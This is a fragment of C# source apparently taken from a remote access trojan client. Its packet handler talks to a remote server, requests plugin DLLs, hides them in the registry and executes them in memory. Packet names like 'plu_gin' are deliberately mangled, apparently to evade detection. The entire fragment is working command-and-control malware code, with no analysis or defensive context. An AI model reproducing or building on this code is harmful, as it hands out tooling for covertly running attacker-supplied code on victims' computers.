public static void Read(object data) { try { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes((byte[])data); switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString) { case "po_ng": //send interval value to server { ClientSocket.ActivatePo_ng = false; MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").SetAsString("po_ng"); msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval); ClientSocket.Send(msgPack.Encode2Bytes()); ClientSocket.Interval = 0; break; } case "plu_gin": // run plugin in memory { try { if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed { Packs.Add(unpack_msgpack); //save it for later MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").SetAsString("sendPlugin"); msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString); ClientSocket.Send(msgPack.Encode2Bytes()); } else { Invoke(unpack_msgpack); } } catch (Exception ex) { Error(ex.Message); } break; } case "save_Plugin": // save plugin { SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes()); Debug.WriteLine("plugin saved"); foreach (MsgPack msgPack in Packs.ToList()) { if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString) { Invoke(msgPack); Packs.Remove(msgPack); } } break; } } } catch (Exception ex) { Error(ex.Message); } }
public void StartConnectingToServer() { ClientSocket.StartConnectingToServer(); }